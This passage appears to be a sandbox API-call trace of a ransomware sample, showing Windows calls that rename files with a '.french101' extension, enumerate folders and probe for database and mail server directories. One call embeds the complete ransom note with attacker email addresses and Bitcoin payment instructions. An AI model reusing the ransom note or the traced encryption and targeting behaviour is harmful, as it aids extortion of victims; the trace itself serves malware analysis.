returned 0x121e6 [0270.309] WriteFile (in: hFile=0x398, lpBuffer=0x3eaafc8*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaafc8*, lpNumberOfBytesWritten=0x19e498*=0x18, lpOverlapped=0x0) returned 1 [0270.309] WriteFile (in: hFile=0x398, lpBuffer=0x3e632d8*, nNumberOfBytesToWrite=0xc2, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e632d8*, lpNumberOfBytesWritten=0x19e498*=0xc2, lpOverlapped=0x0) returned 1 [0270.310] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0270.310] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.310] CloseHandle (hObject=0x398) returned 1 [0270.313] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1025\\qaNxm6B02FaQDzOdwMFjddbB5ivaevj+Jer4lHn7tibiik.french101" (normalized: "c:\\588bce7c90097ed212\\1025\\qanxm6b02faqdzodwmfjddbb5ivaevj+jer4lhn7tibiik.french101")) returned 1 [0270.314] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\qaNxm6B02FaQDzOdwMFjddbB5ivaevj+Jer4lHn7tibiik.french101" (normalized: "c:\\588bce7c90097ed212\\1025\\qanxm6b02faqdzodwmfjddbb5ivaevj+jer4lhn7tibiik.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0270.314] SetFileTime (hFile=0x398, lpCreationTime=0x19e544, lpLastAccessTime=0x19e53c, lpLastWriteTime=0x19e534) returned 1 [0270.314] CloseHandle (hObject=0x398) returned 1 [0270.314] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\qaNxm6B02FaQDzOdwMFjddbB5ivaevj+Jer4lHn7tibiik.french101", dwFileAttributes=0x80) returned 1 [0270.315] CloseHandle (hObject=0x398) returned 0 [0270.315] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0270.315] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0270.315] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.315] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0270.315] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0270.315] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0270.315] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.315] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0270.315] GlobalUnlock (hMem=0x3f4000c) returned 0 [0270.315] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0270.315] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0x6da210 [0270.316] FileTimeToLocalFileTime (in: lpFileTime=0x19e5a4, lpLocalFileTime=0x19e524 | out: lpLocalFileTime=0x19e524) returned 1 [0270.316] FileTimeToDosDateTime (in: lpFileTime=0x19e524, lpFatDate=0x19e572, lpFatTime=0x19e570 | out: lpFatDate=0x19e572, lpFatTime=0x19e570) returned 1 [0270.316] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0270.316] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\1025\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0270.316] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0270.316] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0270.316] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0270.316] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0270.316] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0270.316] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0270.316] ReadFile (in: hFile=0x398, lpBuffer=0x3e80e78, nNumberOfBytesToRead=0x87f, lpNumberOfBytesRead=0x19e79c, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesRead=0x19e79c*=0x87f, lpOverlapped=0x0) returned 1 [0270.317] CloseHandle (hObject=0x398) returned 1 [0270.317] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0270.317] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0270.317] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0270.317] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0270.317] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0270.317] GlobalUnlock (hMem=0x3f4000c) returned 0 [0270.317] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0270.317] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0270.317] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0270.317] GlobalUnlock (hMem=0x3f4000c) returned 0 [0270.317] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0270.317] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.317] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0270.318] CharLowerBuffW (in: lpsz="SetupResources.dll", cchLength=0x12 | out: lpsz="setupresources.dll") returned 0x12 [0270.318] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.318] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.318] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.318] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0270.318] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.318] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.318] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.318] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.318] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.318] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.318] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.318] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.318] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.318] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.318] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.318] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.318] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.318] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0270.318] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130c8, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0270.318] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0270.318] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dlls.dll", lpUsedDefaultChar=0x0) returned 4 [0270.319] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0 [0270.319] GetLastError () returned 0x12 [0270.319] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0270.319] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0270.319] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0270.319] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.319] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0270.319] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0270.319] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0270.319] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.319] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0270.319] GlobalUnlock (hMem=0x3f4000c) returned 0 [0270.319] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da1d0 [0270.319] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0270.320] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0270.320] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0270.320] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0270.320] GlobalUnlock (hMem=0x3f4000c) returned 0 [0270.320] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0270.320] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0270.320] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0270.320] GlobalUnlock (hMem=0x3f4000c) returned 0 [0270.320] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0270.320] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.320] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0270.320] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0270.320] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0270.320] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0270.351] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0270.351] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0270.351] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.351] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0270.352] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0270.352] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0270.352] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.352] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0270.352] GlobalUnlock (hMem=0x3f4000c) returned 0 [0270.352] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0270.352] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0270.352] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0270.352] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0270.352] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0270.352] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0270.352] GlobalUnlock (hMem=0x3f4000c) returned 0 [0270.352] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0270.352] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0270.352] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0270.352] GlobalUnlock (hMem=0x3f4000c) returned 0 [0270.353] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0270.353] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.353] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0270.353] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0270.353] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0270.353] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0270.353] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0270.353] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0270.353] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.353] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0270.353] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0270.353] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0270.353] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.353] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0270.353] GlobalUnlock (hMem=0x3f4000c) returned 0 [0270.353] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0270.353] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0270.354] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0270.354] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0270.354] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0270.354] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0270.354] GlobalUnlock (hMem=0x3f4000c) returned 0 [0270.354] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0270.354] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0270.354] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0270.354] GlobalUnlock (hMem=0x3f4000c) returned 0 [0270.354] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0270.354] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.354] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0270.354] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0270.354] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0270.354] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0270.354] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0270.354] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0270.354] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.355] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0270.355] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0270.355] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0270.355] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.355] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0270.355] GlobalUnlock (hMem=0x3f4000c) returned 0 [0270.355] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0270.355] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0 [0270.355] GetLastError () returned 0x12 [0270.355] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0270.355] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0270.355] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0270.355] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0270.355] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0270.355] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0270.355] GlobalUnlock (hMem=0x3f4000c) returned 0 [0270.356] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0270.356] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0270.356] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0270.356] GlobalUnlock (hMem=0x3f4000c) returned 0 [0270.356] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0270.356] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.356] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0270.356] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0270.356] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0270.356] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.356] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0270.356] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0270.356] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0270.356] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.356] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0270.356] GlobalUnlock (hMem=0x3f4000c) returned 0 [0270.357] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0270.357] SysReAllocStringLen (in: pbstr=0x19eb78*=0x0, psz="C:\\588bce7c90097ed212\\1028", len=0x1a | out: pbstr=0x19eb78*="C:\\588bce7c90097ed212\\1028") returned 1 [0270.357] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0270.357] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0270.357] GlobalUnlock (hMem=0x3f4000c) returned 0 [0270.357] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0270.357] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0270.357] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0270.357] GlobalUnlock (hMem=0x3f4000c) returned 0 [0270.357] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0270.357] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.357] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\Microsoft\\Exchange Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0270.358] GetLastError () returned 0x3 [0270.358] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1028\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1028\\") returned 0x1b [0270.358] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1cde0, cbMultiByte=26, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0270.358] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\Microsoft SQL Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0270.358] GetLastError () returned 0x2 [0270.359] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1028\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1028\\") returned 0x1b [0270.359] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1cde0, cbMultiByte=21, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\疼\x16") returned 21 [0270.359] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\Firebird", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0270.359] GetLastError () returned 0x2 [0270.359] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1028\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1028\\") returned 0x1b [0270.359] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39570, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0270.359] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\MSSQL.1", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0270.359] GetLastError () returned 0x2 [0270.359] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1028\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1028\\") returned 0x1b [0270.359] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39570, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\\x10") returned 8 [0270.359] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\Microsoft SQL Server Compact Edition", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0270.360] GetLastError () returned 0x2 [0270.360] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1028\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1028\\") returned 0x1b [0270.360] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3ec0270, cbMultiByte=37, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 37 [0270.360] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\Adobe", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0270.360] GetLastError () returned 